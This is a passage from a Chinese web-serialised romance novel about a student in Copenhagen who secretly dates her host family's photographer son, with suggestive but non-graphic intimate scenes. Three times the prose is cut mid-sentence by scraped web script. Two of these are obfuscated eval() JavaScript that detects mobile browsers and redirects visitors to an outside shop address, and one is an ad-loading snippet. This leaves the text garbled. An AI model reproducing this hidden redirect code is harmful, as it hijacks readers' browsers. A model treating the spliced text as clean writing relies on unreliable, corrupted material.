龙秉月一边在电脑上浏览他的百科,一边问一些关于拍摄的问题,最后讲出了自己刚才的庆幸:“好在你忙工作的时候我也要实习,可以充分理解彼此,不会觉得对方冷落自己。” “什么实习?”安宴还没听她说过,因为她最近才通过面试。 但她没有直接回答,先感叹了一句国际生找工作难:“好想去丹麦广播公司(DR)实习,可惜他们在招的实习职位都要求丹麦语流利。” “DR?你现在0米之外就有人脉,要不要用?” “啊?这不太好吧……而且,我不想让你因此欠人情。” “能被我欠人情是他们的荣幸。” 安宴好狂,她好喜欢。可惜她找实习的时候两人还没在一起,一份实习做半年,然后差不多就该毕业了,她没有在丹麦用上安宴人脉找工作的机会了。 “谢谢你但不用啦,这学期的实习我已经找好了,在丹麦皇家图书馆做媒介助理。” “好,那以后需要帮忙记得找我。你愿意麻烦我,我会非常开心的,让我知道我不止在这个房间里有用。” 不止在这个房间里有用……这话说的。 氛围又旖旎起来。 心软的龙秉月继续说道:“这份实习最好的一点是,我每个星期到岗一天就行,其他时间只要没特殊情况,都可以居家办公。” “所以如果不耽误你工作的话……勘景我可以陪你一起去,研究生第三学期课也很少。” 开心自然不必多说,安宴同时也为她换位思考:“不怕恋情公开了?” “我不见他们嘛,我就每天在酒店里学习和办公。” “我们要去乡下和野外,可没有你想象中的豪华酒店,都是住条件不太好的乡村民宿。” “呃……”龙秉月确实没想到这一点,即便知道之后,也很难想象养尊处优的安宴下乡的样子,反倒更想陪同了。她不怕吃苦,就是怕没有隐私。 “那到时候再说吧。” 又是一个聊天的夜晚,好像好久不曾说过这么多的话。 也是头一次在话语把时间填充满后,还可以再塞点别的进去。 “来个晚安吻再回去?”安宴邀请道。 龙秉月用行动回答他,扭过头对上他的脸,微微张开嘴,等待他主动侵入。 29. 第二十九章 九月下旬,安宴和剧组一些人员一起去了欧登塞,为新片勘景。 欧登塞离哥本哈根不远,开车只有两小时的车程。但龙秉月最终没能陪同安宴,原因是她实习的皇家图书馆要举办重要活动,需要她到场协助。 9月29日是中秋节,临行前,龙秉月塞给安宴一个月饼——不是在本地亚洲超市买的价格死贵、味道普通的月饼,而是开学前特意托喻琳从国内带过来的,近年来口味越来越花里胡哨的新式月饼。 她照顾安宴口味,准备了巧克力馅的。 虽然不能一起过节,但分隔两地的时候,也可以共食同一盒里的月饼,算是另一种形式的“千里共婵娟”。 视频里的安宴正在为专属观众做吃播,慢条斯理地啃食着小巧的巧克力月饼。 巧克力馅流心,他故意吃得满嘴都是,然后不紧不慢地舔舔嘴唇,既勾人,又勾起回忆。 现在,龙秉月想到两人的第一夜已经不会害羞了。 经历得多了,人就会淡定起来,面对试图勾引自己的男朋友,反而想着怎么反击。 “等着。”她留下一句话,从电脑前离开,走到了镜头外。 安宴曾在他以为她听不懂丹麦语的前提下,说过他对她一见钟情。在她身穿旗袍去上课的那个透亮如白昼的夜晚。 她换上同一身旗袍,打量着镜子里的自己。 这一个多月以来,在爱情的滋润下,她的身材变得愈发凹凸有致,旗袍更是将身材展露无遗。 龙秉月满意地笑了笑。 一点一点,在镜头里从远到近,装作不经意般扭了扭,其实刻意得不能再明显,就像安宴吃月饼一样。 “想诱惑我?没这么容易,这身很衬你,但更美丽的你我都见过那么多次了……” 安宴嘴上这么说,行为却背道而驰:脸凑近屏幕,一眨不眨地看着她。 龙秉月喜欢他的口嫌体直,表面上配合他说:“是吗?” 留足了想象空间,才更具诱惑力。尤其是在这看得见摸不着的时候。 渐渐地,屏幕里的安宴闭上了眼睛。 轮到龙秉月眼镜一眨不眨地看着他,观察他为她着迷的表情。 忽然之间,对面的灯全部暗下去。 安宴睁开眼睛,微喘着气,声音低沉:“好像停电了。” 停电?未免太巧了。但他的动作都被她尽收眼底,不会是他自己关的灯。 只能感叹他的住宿条件果然如他所说一般差,竟然会无缘无故停电。 龙秉月的房间依然和先前一样明亮,透过安宴的手机屏幕,成为他唯一的光源。 于他,她在光亮中显得近乎神圣; 于她,他半张脸都藏在阴影里,黑暗成为装点他的面具,照应了她之前所想:留足了想象空间,才更具诱惑力。 一时无法被她看清的那张嘴一张一合,发出难以抗拒的声音,引诱她一同堕落。 - 新片的主创都是精益求精的性格,沿着欧登塞的海岸线辗转了几乎一整圈,为不同的戏寻找最合适的地点。 勘景耗时二十多天,比预期多花了一星期。 等到安宴终于回到哥本哈根的家里,已经是十月中旬了。 纵然有万分想念,龙秉月也不能到门口张开怀抱迎接他,不能扑到他身上亲吻他,不能立即当面诉说她有多想他。 她自找的,所以毫无怨言。何况她还有别的乐趣。 比如,在餐桌下,伸脚去蹭安宴的小腿,隔着裤子在他的腿上写下字母:IMISSYOUSOMUCH。 安宴面上保持着得体的微笑,看不出任何异样,侧耳倾听家人的谈话。 安扬看了一眼龙秉月,又看向安宴,问他:“对了,你这次去欧登塞那么多天,有没有见卢娜(Luna)?她现在是在那边工作吧。” 卢娜?是龙秉月没听说过的名字,但她按捺着好奇心,没有问。 伊莎贝拉主动为她解惑:“卢娜是我们以前的邻居,在八年前搬到这里之前。她和安宴还是中学同学。” 哦,合着是青梅竹马。 “没见,欧登塞那么大,哪有那么容易碰上。”安宴毫不在意地回道,“再说,我没事见她做什么。” “叙叙旧呀,你们以前关系不是很好吗,你好无情。”安扬控诉道,又转头问父母和龙秉月,“你们说,将来我要是出国读大学了,会不会四年都见不到他?” 四年见不到也太夸张了,明知是玩笑,龙秉月还是露出了一丝丝惊讶的表情。 而伊莎贝拉和米克尔就淡定多了,纷纷支持安扬的看法。 话题又说回卢娜,龙秉月听到了安宴更多的青少年往事。 感到满足的同时,也难免吃点小醋。 不过,呃,谁还没个青梅竹马了?她也有好吧。 就是,这个人怎么也叫“月”? ——Luna,罗马神话中的月亮女神,在欧洲应该是众所周知的。 龙秉月告诉自己,这是丹麦乃至欧美国家最热门的女名之一,切忌多想。 还安慰自己,安宴的家人能毫无顾忌地主动聊起这号人物,应该是完全没察觉到他们的关系吧。看来暗度陈仓的保密效果不错。 - 等回到熟悉的空间,只余彼此两人的时候,龙秉月终于能够实现下午安宴到家时的想法——张开怀抱迎接他,扑到他身上亲吻他,当面诉说她有多想他。 谈恋爱不到一个月后,就要经历几乎同等时长的异地恋,让她真真切切地体会到了“小别胜新婚”的感觉。 就算每天都抽时间视频,一有空就发消息,恋人最需要的,还是真实的有温度的怀抱。 以及,时刻给足的安全感。 短暂的欢迎吻毕,安宴就立马说到卢娜,生怕等下忘记了:“关于卢娜,你别想多,我对她从来没有任何意思,她对我也一样。而且我们多年没联系了。你也清楚,我不是会搞暗恋的人。” “好啦,我知道。” 龙秉月贴在他的胸前,听着他的心跳声,她发出的声音似乎在和他的胸腔共振,“再说,你肯定是超受欢迎的类型。就算没有卢娜喜欢你,也会有安娜、菲娜、娜娜、蒂娜……我能调整好心态的。” “你不用调整,给你安全感是我该做的事。” “那就交给你了。但也不用太努力,我可以感受到的。” “好。” 龙秉月转而又想到自己,安宴为她做这些,她也应当给出同等的回报。可她现在好像只给得出口头的承诺。 “你知道的,我从小到大也只喜欢过一个人。” “有多喜欢?”安宴语气中带着挑逗,“证明给那个人看看?” 于是这个风月无边的夜晚,她成了主导的人。 在今天之前,龙秉月怀疑过时隔这么久,两人的身体会不会变陌生。 事实证明她完全多虑了。不仅没变陌生,在热情的加持下,甚至还更加契合了。 疯狂过后,她一根手指头都不想再动了。安宴望着已经没法睡的大床,征求她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734392|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意见:“去你的房间睡?” 之前有时候他们懒得收拾,就会去她房间睡。安宴躺在靠近窗户的一侧,为她遮挡可能漏进来的风和光。 1.2×2米的床小,睡两个人挤得不行,特别是其中一人还是一米九多的大个子。 所以每次这么睡觉的时候,安宴都会把她抱很紧,以免她掉下去。 毫无疑问,她确实是懒;但安宴究竟懒不懒,她就不得而知了。 她宁愿相信他是乐意和自己紧紧挤在一起,为了不打破暧昧的幻想,便也从没明确管他要过一个答案。 “嗯,你抱我过去吧,小心点。”龙秉月眼睛已经快睁不开了,低声说道。 话也没说完,希望安宴明白她指的是“小心点别被发现了”,不是“小心点别把我摔了”。 等她躺到自己的小床上,疲惫不堪的身体突然不想让第二个人挤上来了。 哪怕他们在这张床上挤过好几次,哪怕前几个小时两副身体都紧紧相贴着。 “Jens。”她叫他名字。 “怎么了?” “我好累,想自己睡。” 安宴答应得干脆:“好,我打地铺,或者把沙发床搬过来。还在一个屋里,好吗?” “搬沙发床……你好有精力啊。”躺床上才有精力多讲几句话的龙秉月羡慕道。 “我的精力,你不是最了解么。” “但你才在外奔波了那么多天诶,肉眼可见比往常劳累。” “那你现在更了解了。” “既然你这么有精力,要不然别睡了。” 面度突兀的提议,安宴显然理解错误:“不睡?我是没问题,可你呢。” “我不是这个意思。我是想说,你会画画吗?” 摄影和绘画同属视觉艺术,有追求逼真如摄影的画派,也有追求艺术如绘画的摄影风格。很多创作者都有多种技艺傍身,龙秉月猜想安宴也不例外。 “会。要我画你吗?”答案在意料之中。而且不愧是安宴,一下子就猜到了她的想法。 “嗯,可以吗?” “要我在平板电脑上还是画板上画?” 他还有画板啊,她都不知道。恋爱一个多月,住对面房间三个多月,还总能挖掘到新的惊喜。 但是用画板意味着要开更亮的灯,更影响睡觉,龙秉月便说:“用平板好了,画我睡觉的样子,这样应该只开个小灯就可以。” 一口气说完了各种要求,除了风格,要留作惊喜。 安宴关心的则是:“有光照着你能睡好吗?要不要给你找个眼罩?” “不用,我讨厌戴眼罩。都这么累了,肯定能睡着的。”她接着又感叹道,“幸好我睡觉老实,睡相良好,是个优秀的睡模。” 老实?良好?是谁每次在睡梦中都主动缠上来? 安宴心里有点想笑,但没有拆穿她。 龙秉月恃宠而骄,看起来一点没有指挥他牺牲睡眠为她服务的愧疚:“晚安,我睡了,希望睡醒能看到画。” 安宴宠溺她,等她很快入睡后,拿着触控笔在平板电脑上开始速写。 一画起来,原本的些微困意消失不见,内心只余温柔。 等龙秉月醒来,她会看到,安宴就趴在她的枕边睡觉,身下是从对面拎过来的懒人沙发。 床头柜上的平板电脑同样录入了她的面容ID,她轻轻拿起来解锁,没有吵醒还在睡的人。 画的风格,怎么说,绝对不是写实。 ——就凭空多一个人啊。 30. 第三十章 十月中旬,大学放了一个星期的秋假。 如果周一或周五没课,加上周末,可以凑出十天以上的长假。 龙秉月这学期只有两门选修课,但是对于有实习在身的人来说,秋假是不存在的。 当同学们趁着假期在欧洲各地游玩时,她从始至终都没有离开哥本哈根。 星期三是她每周固定到场上班的日子,工作时间朝九晚四。 月底即将迎来万圣节前夜,图书馆策划了一场小型展览,从民俗档案馆中整理出了百年来全国各地的民间文化记录、相关传统、童话和传说,还针对万圣节做了专题图书角,供参观者了解这一节日的变迁。 万圣节曾跟随移民从欧洲传入美国,又在美国文化风靡全球后以新形式传回欧洲。 传入丹麦是上世纪末期的事情,彼时人们以为它只是消费主义陷阱,过不了多久就会被新的趋势取代。 况且,丹麦人自认有距离感,不会随便敲别人家门说“不给糖就捣蛋!”;向往温馨的氛围,也不适合扮恐怖。 他们大错特错了。 时至今日,万圣节传统已经扎根于这个国家,成为人们最喜欢的对抗冬季黑夜的方式之一。 龙秉月要在现场帮忙布展,并将相关内容发到图书馆网站和社交媒体。 这些关于丹麦万圣节的内容,都是她在工作中才了解到的。 去年她去了学校里的变装派对凑热闹,但压根没想过了解背后的渊源。原来丹麦人过万圣节才二十多年而已。 在文化发展与交融下,传统的严肃性被搞怪和恐怖噱头消解掉,节日成为真正的狂欢。 下午三点多,还没到下班时间,但龙秉月的工作已经做完了,获准离开后打算到中文图书区看看书。 移动中,她收到了安宴的消息:【猜猜我在哪。】 她下意识抬头环顾四周,没看到人影,试探性问道:【图书馆?】 安宴:【Bingo!我可以去找你吗?】 龙秉月心里有点甜蜜也有点无奈,折中回复道:【来玩捉迷藏,各凭本事。你找到我我就答应你,找不到就答应我别再玩突袭。】 看起来很公平是吧,但皇家图书馆地上七层地下一层,能找到就见鬼了。 当然,她现在只是嘴硬。就算他今天没找到她,她也会心软答应他晚上在外面约会的。 安宴看了看前方熟悉的身影,笑着回道:【好啊,各凭本事。】 龙秉月快步走到中文区,想着这里肯定是安宴的首要目标之一,她要尽快挑好书离开,到别的地方。 结果…… 这收录的都是什么书啊?! 抬头看看你们名字里“皇家”一词,再低头看看这些书,皇在哪里了?可能只皇在《还珠格格》上吧…… 好多书都是十几二十年前的言情小说,超震撼,这是在国内都难得一见的场面。 话说回来,这些书也没比万圣节晚传入丹麦多少年,有没有机会统治丹麦人审美呢。让他们在漫长黑夜里不只知道喝酒,也欣赏欣赏霸总追妻。 龙秉月咧着嘴拍下照片,心想等我毕业了要捐点其他类型的中文书过来。 走走停停,精神高度紧张,同时也满怀期待。 可一直到临近图书馆关门的时间,她和安宴都没有碰面。 果然,奢望两个人能在这么大的地方偶遇,是不切实际的。 她不知道,安宴就在她身后,默默跟了两个多钟头。 他今天一天都在这里办公,为了离她近一点,也为了晚上能和她一起。对这里实际下班时间了如指掌的他,三点在办公区蹲到了她。 并肩常有,而尾随难得。在收到捉迷藏的提议后,安宴决定体验一下“跟踪狂”的身份。 时时刻刻望向她的背影,哪怕一切只是他的独角戏,心里也泛起无尽的温柔,微笑在脸上成了半永久。 ——仅仅守望着她,好像就够了。 ——不,还不够,远远不够。 六点闭馆,还剩几分钟的时候,安宴从后面小跑到龙秉月身边,趁她还没反应过来,拉着她到了四下无人的监控死角,不由分说地覆了上来。 自己都还在轻轻喘气,就要把她的呼吸也一并掠夺。 龙秉月心脏怦怦跳着,使劲捶安宴的肩,让他放开自己。安宴不满她分心似的,加重了力道,只是接个吻而已,仿佛要把她侵吞入腹。 终于被放开后,她大口呼吸着新鲜空气,同时缓解着舌根的酥麻。 自以为早就掌握了接吻的节奏,现在安宴让她明白了,她才刚刚学会小学的加减乘除,前方路还长着呢。 “你想要的,偷情的刺激。”安宴赶在龙秉月之前开口,似笑非笑地说。 是吗? 比起偷情的刺激,龙秉月更多感受到的是强吻的刺激。 安宴待她一向极其温柔,难得强势一次,给她带来好不一样但也好舒服的体验。 原来恋人强势不会让她觉得不被尊重,她了解安宴的为人,只感受到被深爱。 随着闭馆音乐响起,他们并肩走出图书馆大门,来到室外。 皇家图书馆临河,因建筑形状而被称为“黑钻石”,在夕阳的照耀下散发着柔和的光芒,映得光芒下的行人也柔和起来。 门口有一尊美人鱼青铜雕塑,不如海滨大道旁边浅海中的那座小美人鱼著名,此刻孤零零地矗立在河岸,无人上前打扰。 在雕塑边上,安宴牵起了龙秉月的手。 龙秉月试图把手抽出来,安宴打开手机上的智能家居app给她看:“放心,他们三个都在家,碰不到我们的。” 但是有可能碰到两人的朋友不是吗? 哥本哈根是很大没错,可既然两人能在这么大的图书馆偶遇,那么在外面偶遇熟人的几率也不会小。 安宴搬起石头砸到自己的脚,只好坦白了“跟踪”事迹,等待接受审判——她会不会觉得我太变态? 意料之外,龙秉月反而握紧了他的手。 河滨散步中,两人交换起今天的日常。 “你今天在图书馆做什么了?” 虽然安宴在龙秉月下班时刚好蹲到了她,但下班之前的事他确实不知道。 “布置了万圣节的小展览和图书角,然后在各个平台上发布了讯息。你呢?” “确认了拍摄计划最终版3.0,不出意外的话11月3日进组,刚好可以陪你过完生日。” “最终版3.0?那是不是还要有3.1,4.0,5.2?”角度清奇但敏锐。 “你的关注点怎么不在生日上?”安宴的拇指挠了挠她的手心。 “因为这会影响生日啊,放低期待才有惊喜。但你也不要有压力,事业为重。” 安宴没得反驳,只好说:“至少万圣节确定可以一起。” “哦对,虽然还没确定,”龙秉月想起来这么一回事,“但万圣节前的那个周末,我大概要和几个中国朋友去趣伏里参加变装活动。” “我们的趣伏里?”安宴也是很会找重点,还加重了“我们的”一词的发音。 “以前怎么没发现你占有欲还挺强的?”龙秉月学他,挠了挠他的手心。 “日子还长,哪能让你一下子什么都发现?”安宴话中有话,又很快把话题转移回万圣节上,“所以你要装扮成什么?” “暂时保——密——” 安宴失笑,真是符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738924|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合她的风格。这个词他耳朵都要听出茧子来了。 然而,同样是天天喊着保密的龙秉月,在这个晚上,和安宴一起进了家门,没再躲避。 他的家人们正在客厅里为万圣节雕刻南瓜灯,见到两人一起归来,表情没有任何波澜,和往常一样亲切地打招呼。 似乎住在同一屋檐下的人同进同出是再正常不过的事情,不存在奸情。 下车前就开始心跳如擂鼓的龙秉月,见状缓缓平复了呼吸。 到楼上后,安宴无情揭穿了她失败的伪装:“知道吗,你的脸好红,宝贝。” - 每年万圣节前的周日,趣伏里游乐园都会举办名为“DressUp”的变装活动。 今年在两位女大学生孟书瑶和陈钰的张罗下,龙秉月和喻琳也同她们一道去玩耍。 很多留学生在国外万圣节,会选择穿汉服、旗袍之类的中式服饰,而她们另辟蹊径,找了个小众赛道——扮成传统名著或神话传说里的独特生物。 龙秉月前一晚住到了她和喻琳合租的公寓,周日一早孟书瑶和陈钰也赶了过来,一起变装、化妆,互相帮助和检查。 这里人们的精神状态不似某些亚洲都市那么超前,变装还是以传统的鬼怪为主。 因而,中国龙、牛头马面、九尾狐和猪八戒的组合在鬼群中格外吸睛。 跟无数路人合照后,她们终于有工夫喘口气,拍几张四人合照。 龙秉月选了一张,发给安宴:【猜猜哪个是我。】 一般人大概会下意识以为她扮作龙,可安宴竟没怎么犹豫地回:【马头那个。】 怎么秒猜对的?? 明明服装很厚,看不出身材;头套很大,也看不出身高。要不是知道答案,恐怕她自己都猜不出谁是谁。 早知道就发一张另外三人的合照让他猜了,看他会不会落入逻辑陷阱。 她好奇地询问哪里看出来的,他神秘地拒绝回答,留下一句“晚上你就知道了”,害她一整天都急得抓耳挠腮,想要夜晚快快到来,回家问他答案。 等到夜晚真的来临,她才惊觉:该不会这只是安宴让她一直想着他的计谋吧? 趣伏里游乐园有大型活动的时候,一般开放到夜里12点。她们原计划玩到散场,最终因服装厚重难耐,提前各回各家了。 龙秉月下地铁后要走挺长一段路,拖着服装更加重了身心的疲惫。 然而消极的情绪,在看到院门口和院子里橙色南瓜灯的那一刻,全都烟消云散了。 ——这就是节日的意义一种吧。是丹麦人最早所追求的万圣节的温馨。 好奇了大半天,可以要答案的时候,龙秉月却不着急了。 她没有立刻去找安宴,先回到房间脱下沉重的服饰,冲热水澡缓解肌肉疲劳,也洗了被头套压得不成样子的头发。 吹头发的时候看了一眼时间,正好是午夜12点。 从窗户往下望去,庭院里散落的南瓜灯依然亮着。今天的游乐园也是这样,草坪上到处都有南瓜灯,官方宣传说数量超过两万。 午夜,南瓜,让人联想到灰姑娘的民间传说。它被包括中国在内的众多国家的作家,写成了不同版本的童话故事,在世界范围内广为流传。 在最著名的版本中,仙女用魔法把南瓜变成马车,帮助灰姑娘参加舞会。 只是魔法会在午夜12点自动失效。 龙秉月拧开自己的房门,看向对面。 对面的门后,是另一个世界,是她的南瓜马车。 不会在午夜失效,常常在午夜启动。 有她的专属驾驶员,和童话作家同姓的Andersen,随时随地为她谱写童话。 31. 第三十一章 万圣节变装的周日,恰好是这一年夏令时改冬令时的日子。 时间拨慢了一小时,现在的午夜12点,放在昨天、前天,其实是凌晨1点的时候。 难怪人比往常更累,更困。 龙秉月强忍着困意,打着哈欠问安宴:“你到底是怎么认出来我是牛头马面的?” 她后来又仔细观察了很久,怎么也找不出自己有什么独特的动作,让人能够把她和别人区分开。 安宴在手机里打开照片,放大后指给她看:“你瞧,照片里你仰头的角度是6.5度,其他人都不到6度。” 他们坐在沙发上。安宴左手操作着手机,右手把龙秉月搂在怀里,捏了捏她的下巴:“你也知道,我有多熟悉仰头的你。” 龙秉月在他的动作下微微仰头,眼睛左右乱瞟,看起来像在观察自己现在是仰头多少度。 这要如何观察出来? 这就是摄影师的眼力吗?未免太厉害。 “那我现在头向左偏多少度?”她要考考他。 安宴的右手从她的下巴移到耳侧,轻轻带着她的脸朝左偏去。 “90度。”他说。 ?? “你作弊呢?”龙秉月睁大双眼,十分不服,索性继续向左,微微起身换了个姿势,脸正面对着安宴的胸口,“那我要说,错了,是180度。” 安宴笑了起来,胸腔的震动传到了她的脸上。她顺势身体下滑,躺到了沙发上,脑袋枕着他的腿。 这时候安宴才说:“刚才逗你的,人眼怎么可能那么精细。” “……” 也就她天真好骗,真以为他能看出来。 “我在TT上刷到了别人拍你们的短视频,动态的很好认。” 龙秉月自己也有发,不过是在她给安宴发照片之后。敢情在安宴刷到她的视频之前,就先刷到了别人的?推荐算法预判得这么精准呢。 “不是。”安宴为她解惑,“当然是我自己搜索的#Tivoli话题。” 龙秉月赶忙搜了起来,想看看她都是怎么出镜的,有没有露脸的视频。 她可不希望在二次世界暴露自己的三次身份。 把搜索结果里的相关内容都看完,悬着的心落了地。幸好幸好,多亏了头套和面具,她始终捂得严实,吃饭时摘下的一小会儿也没被拍到。 神经松懈下来后,困意又席卷而来。 躺在温暖的大腿和松软的沙发上,龙秉月玩着手机不知不觉睡着了,双手握着手机放在胸前。 入眠是一瞬间的事。 就算安宴一会儿一看她,也是在她睡着后才发现的。 他轻轻从她手中抽出手机,抱她去了床上。自己也在她身边躺下,共盖一床被子。 还没来得及关灯,龙秉月就四肢并用地缠了上来。 “唔嗯……”她发出满足的呜咽声。 - 万圣节后,紧接着是龙秉月的生日。 安宴的新片开机时间最终定在11月3日,他最晚2号就要赶到现场。 对此,龙秉月大大方方道:“没事啊,我是东八区出生的,所以1号下午五点开始就算我的生日了。” 同住的安宴的家人们自然知道她的生日,但无论是他们还是龙秉月的朋友,都打算在2号为她庆祝生日。 1号这天,他们可以美滋滋过二人世界。也算一种“因祸得福”。 即将面临两个月的离别,他们一刻都舍不得分开,连午饭都是在安宴房间里吃的。 他的房间像套房,有自己的冰箱和微波炉,下楼去厨房找食物的功夫也省了。 饭后,安宴蹲在地上整理行李。别离的伤感如潮水般迅猛上涨,冲刷着龙秉月。 她走过去趴上他的后背,也不说话,也不动作,就那么静静趴着,看他收拾。 安宴没有赶她下去,只把动作放缓,同样不说话。 突然之间,龙秉月的目光捕捉到了一个特别的东西。 “那是干什么的啊,我都不知道你还有这种恶趣味。” 她没有明说是什么,也没有指出来,而安宴一下就明白她在说什么,把东西拿到手里掂量了下:“这个?剧组的道具。” “摄影师也要协助准备道具?你们道具部门干吗吃的。”龙秉月一边吐槽,一边从他身上下来,接过那个道具,“这是真的假的?” “假的,是玩具,不是警察用来抓犯罪嫌疑人的。我们不拍犯罪片。” “情趣玩具?”龙秉月好奇地把手伸进去试了试感觉,像试戴手链一样。 安宴扶额:“……儿童玩具。” “也太逼真了吧!我可以铐你试试吗?” “早说你喜欢这种play,我们可以买点更专业的。” 龙秉月把玩具手铐扔回行李箱,努努嘴:“我不是我没有,你别污蔑我。” 她躺回懒人沙发上,命令道:“你快收拾完,我好无聊。” 安宴回头看她:“无聊了?要不要先拆礼物。” “要要要!”龙秉月的声音瞬间兴奋起来,人也坐直了。 看到安宴打开保险柜取礼物时,龙秉月心里暗觉不妙——不会是特别贵重的珠宝首饰吧。 倒不是她受不起,主要是害怕戴出门会被抢。如今,连北欧的治安都没那么好了。 看到安宴拿出很大一个包裹时,龙秉月暗自松了一口气——应该只是珍视送她的礼物才放进去的吧,包裹看上去软软的,不像是贵重品。 没有过度包装,一下就被她拆开了。 很遗憾,她两次都猜错了。 安宴送她的生日礼物,是三件大牌的vintage旗袍。 知名设计师在上世纪末本世纪初,融合东西方元素设计出的改良款式。如今有市无价,看来他之前炫耀人脉不是在说大话。 “试试看?”安宴率先打破沉默。 “当着你的面试?”轻松的玩笑语气。 “随你。” “等你收完行李吧,不然我怕美晕你,再也收拾不完了。” 龙秉月话虽这么说,但其实不是怕美晕。小嘴一咧,两眼一弯,有一计在心中形成。 - 安宴收拾好之后,龙秉月先按着他坐到了沙发上,然后跑到其中一个行李箱旁边,问他:“密码多少?” “没锁。” 龙秉月看了一眼密码锁,此刻定格的数字正是112,她的生日。 “这个密码有点简单哦,盗贼如果从111开始试,第二次就能试对。” 安宴轻巧地反驳:“盗贼不需要试,直接就会暴力拆锁。” 龙秉月取出手铐,走回安宴面前:“现在我要以盗窃罪逮捕你。” “盗贼”乖乖地任她铐住左手,铐到沙发前方的桌腿上,一脸无辜地问:“我偷什么了?” 他还坐在沙发上,脑袋被站起来的人按到她的胸口,侧着脸,耳朵贴在心脏的位置。 她说:“你听听呢。” 被铐着,做一名囚犯其实也好幸福。 爱的囚犯。 “好——”龙秉月拉长声音宣布,“下面是囚犯的休息时间,今天的休闲节目是时装秀,由MissMoon为大家呈现。” 她站在他的面前,相隔着低矮的茶几。 原本的衣服落地,换上了第一身,然后是第二身,第三身旗袍。 被铐在桌腿上的手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,渐渐握成了拳。 …… 东一区下午五点,东八区零点,龙秉月摇晃着进入了她的二十三岁。 感觉来得太快,顾不上那么多。 龙秉月本想先把手铐开了,却被安宴另一只手拽过去,很快就没法分心了。 待一切平息后,她又想起这回事。 “啊!”沙哑的嗓音惊呼,人也顾不得温存,从安宴身上跳下来,到处找钥匙想要开锁。 结果怎么都找不到,完全想不起来之前扔到哪里去了,急得快要哭出来。 安宴躺在沙发上懒懒地看着她:“别找了,回来。” 龙秉月听话地回去,但不是回到沙发上,而是在桌边蹲下,捧着他的手,看着手腕上的红印子,心疼地说:“你就那么等不及吗?应该先开锁摘掉的。” “那有什么意思,戴着才好玩。”安宴说完,见她依然是一脸揪心的表情,略施一计,自己把手从手铐里脱出来了。 “你瞧,都是我乐意的。这玩具的锁根本没用。” 行吧,白后悔了。 但她每每看到红印子,都还是少不了心疼——那么激烈,那么长时间里,手腕被茶几拽着,得多疼啊? - 度过糜乱的一天后,在当地时间零点又听安宴说了一遍生日祝福,龙秉月回到了自己的卧室。 安宴第二天一早出发,她一不想让他疲劳驾驶,二不希望他家人来帮他搬行李时看到自己。 同一时间,中国是早上七点。 龙秉月微信上准时收到了妈妈的消息,算好了时差的:【宝贝女儿23岁生日快乐。】 附带了一个23000元的转账。 她当然没有收,敷衍地回了几句。 接着妈妈透露消息给她:【圣诞节你李叔叔一家去英国陪小儿子,打算顺便去哥哈看你。】 顺便?英国和丹麦都不是同一个签证……不过也可能他们本来就有申根签。 龙秉月想都没想:【不见。】 妈妈:【别把对你爸爸的气撒到无辜人员身上,他们以前对你多好,做人不能忘恩负义。】 无辜?她们用的或许不是同一个词典,学的不是同一门汉语。 反正她的话已经放这儿了,不见就是不见。不想继续回了。 妈妈却又发来一条:【妈妈理解你的心情,就是给你通个风报个信,让你有个准备。】 龙秉月以一句“谢谢您嘞”结束对话。 信息很有用,发得好,下次别在生日发了。 原本美好的心情被毁掉了。 她不想一个人睡了。 没关系,她的生物钟很准,只要睡前不断默念“我要六点醒”,就一定可以六点醒。 回到对面悄悄打开门,室内一片漆黑,看样子安宴已经睡了。 明明伸手不见五指,她还是弓着腰前行,做贼一般。 快到床前的时候,和亮起的床头灯一道,安宴的声音响起:“怎么回来了?” “对不起,吵醒你了吗?” “没有,我还没睡着,怕吓着你才等你到床边了再问。” 龙秉月扑到他的怀里,他稳稳接住。 “现在想跟你一起睡还来得及吗?” 明明是她提出今晚分开睡的,不到半小时就反悔。 “什么来不来得及,当然……”随时欢迎。后半句没说完,安宴先注意到了她情绪不对。 龙秉月抚摸着他手腕上的痕迹,眼泪滴落了下来:“不会影响你拍电影吧?” 安宴理所当然地以为她心情低落还是因为这件事,不断说着没事。 “你的眼泪和凤凰的眼泪一样,可以疗愈一切伤口。” 32. 第三十二章 十一月底,哥本哈根迎来了今年冬天第一场真正意义上的雪。 过了一夜后,仍然在地面上可见的,那种雪。 第二天恰好是周日。清晨龙秉月拉开窗帘,灰白取代深绿灌进双眼,地面被一层薄雪覆盖。 正是因为它只有薄薄一层,反而让人想要抓紧时间,赶在消融之前,或大雪封路之前,抵达想念的人身边。 龙秉月打开天气预报:雪天会一直持续到星期三,之后转为晴天。 也不知道下周末还有没有积雪。 从月初到月末,她和安宴已经有三个多星期没见了。 这和他九月去勘景那次还不一样,实际拍摄要繁忙得多,忙到没空视频是常有的事。 有一次,他甚至累得在视频中睡着了。 从那以后,龙秉月变得更加“体贴”,尽量减少自己的存在感,压抑自己的感情需求,只等安宴主动找她。 男朋友就这样进化成了电子宠物。 不,说电子宠物都是高估了。应该是旅行青蛙才对。 主人无时无刻不在惦念。此刻脸颊贴在冰凉的窗户上,下半身挨着暖气,遥望着空中飞舞的雪花,更是觉得心里空落落。 她的思念如广阔大地,偶尔的联系充其量是几片雪花,落地就融化,像不曾落下过一样。 